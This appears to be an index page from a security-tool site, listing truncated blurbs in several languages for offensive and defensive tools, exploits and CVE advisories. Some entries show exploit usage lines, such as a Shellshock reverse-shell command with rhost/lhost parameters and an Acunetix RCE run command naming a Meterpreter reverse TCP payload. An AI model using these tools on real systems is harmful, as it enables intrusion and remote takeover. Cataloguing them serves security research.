nali

Nali Un outil terminal hors ligne pour interroger les informations géographiques IP et les fournisseurs CDN. English Fonctionnalités Prise en charge de plusieurs bases de données Base de données IPv4 hors ligne Chunzhen QQWry Base de données IPv6 hors ligne ZX Base de données GeoIP2 City...

usbkill

« usbkill » is an anti-forensic kill-switch that waits for a change on your USB ports and then immediately shuts down your computer. To run: root@kitploit: sudo python usbkill.py or root@kitploit: sudo python3 usbkill.py Related project; same idea, but implemented as a Linux driver:...

kali-rpi-luks-crypt

Полное шифрование диска для Kali на Raspberry или другой подобной архитектуре с использованием LUKS Это руководство посвящено запуску Kali на Raspberry или другой подобной архитектуре, например ODROID-C2 с использованием полного шифрования диска с помощью LUKS. Основано на немного устаревшем...

CVE-2024-32113

CVE-2024-32113 Пакетное сканирование Apache OFBIZ Внимание: Этот инструмент не предназначен для поддержки незаконных атак. Он предназначен только для технического обмена. Примечание: Этот инструмент не поддерживает незаконные атаки. Предназначен исключительно для технического обмена...

asus-cmd

Exécution de commande root sur les routeurs ASUS via la diffusion UDP d'infosvr Plusieurs modèles de routeurs d'ASUS incluent un service appelé infosvr qui écoute sur le port de diffusion UDP 9999 sur l'interface LAN ou WLAN. Il est utilisé par l'un des outils d'ASUS pour faciliter la configurati...

reconerator

Overview This is a custom .NET assembly which will perform a number of situational awareness activities. There are a number of current featuresets: BASIC - Obtains information from the disk and registry. LDAP - Allows customised AD LDAP queries to be made. RESOLVEHOST - Performs DNS lookup querie...

SharpSploitConsole

SharpSploitConsole Application console conçue pour interagir avec SharpSploit publié par @cobbrio https://github.com/cobbr/SharpSploit SharpSploit est un outil écrit par @cobbrio qui combine de nombreuses techniques / code C de la communauté infosec et les rassemble en une seule DLL géniale. C'es...

pgaudit

pgAudit Journalisation d'audit open source pour PostgreSQL Introduction L'extension d'audit PostgreSQL pgAudit fournit une journalisation d'audit détaillée de session et/ou d'objet via le mécanisme standard de journalisation de PostgreSQL. L'objectif de pgAudit est de fournir aux utilisateurs de...

GHSA-5GM3-9CRP-6G3V Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools

Summary A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into...

Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools

Summary A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into...

CVE-2026-93533

A vulnerability was determined in spatie Scotty up to 1.4.4. This impacts the function DoctorCommand::checkSshConnectivity/DoctorCommand::checkRemoteTools of the file app/Commands/DoctorCommand.php of the component Doctor Command Handler. This manipulation of the argument host causes os command...

CVE-2026-93338

Grandstream GWN7660ELR before firmware version 1.0.27.6 contains an information disclosure vulnerability that allows unauthenticated remote attackers to obtain sensitive system information by querying the SNMP v2c service configured with the default community string 'public'. Attackers can query...

CVE-2026-62943

btrbk is a tool for creating snapshots and remote backups of Btrfs subvolumes. From 0.29.0 until 0.32.7, btrbk's sshfilterbtrbk.sh constructs allowstreammatch with a start anchor but without an end-of-string anchor for the complete command. A user restricted through an authorizedkeys forced comma...

CVE-2024-31317

CVE-2024-31317 Introduction Il y a deux jours, j'ai vu un article d'analyse de la vulnérabilité CVE-2024-31317 sur le compte public JD. En le lisant, j'ai trouvé cela assez intéressant. De plus, les solutions principales actuelles pour les systèmes embarqués automobiles sont toutes basées sur...

zsteg

zsteg Description détecte les données dissimulées par stéganographie dans les fichiers PNG et BMP Installation root@kitploit: gem install zsteg Détecte : Stéganographie LSB dans les fichiers PNG et BMP Données compressées zlib OpenStego Camouflage 1.2.1 LSB avec l'ensemble d'Ératosthène Utilisati...

deepce

deepce root@kitploit: . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // Веб-сайт Перечисление Docker, повышение привилегий и побег из контейнеров DEEPCE Чтобы обеспечить совместимость с максимальным числом...

pingcastle

بينغكاسل من نتوريكس ابق على اتصال وساهم نرحب بجميع مستخدمي PingCastle: المساهمين مفتوحي المصدر، مسؤولي تكنولوجيا المعلومات، ومحترفي الأمن، للمشاركة والمساعدة في تشكيل مستقبل PingCastle. انضم إلى مجتمع Netwrix : community.netwrix.com احصل على الإعلانات، وشاهد خريطة الطريق، وقدم أفكارًا للميزات،...

CVE-2024-8190

CVE-2024-8190: Ivanti Cloud Service Appliance - Аутентифицированная инъекция команд Доказательство концепции для эксплуатации CVE-2024-8190 на уязвимых устройствах. Сообщение в блоге Коренная причина и индикаторы компрометации здесь:...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Outil Apache Shellshock Remote Command Injection pour un reverse shell rapide et la navigation dans les fichiers root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7....

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE Utilisation Exécutez le script avec root@kitploit: dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse T...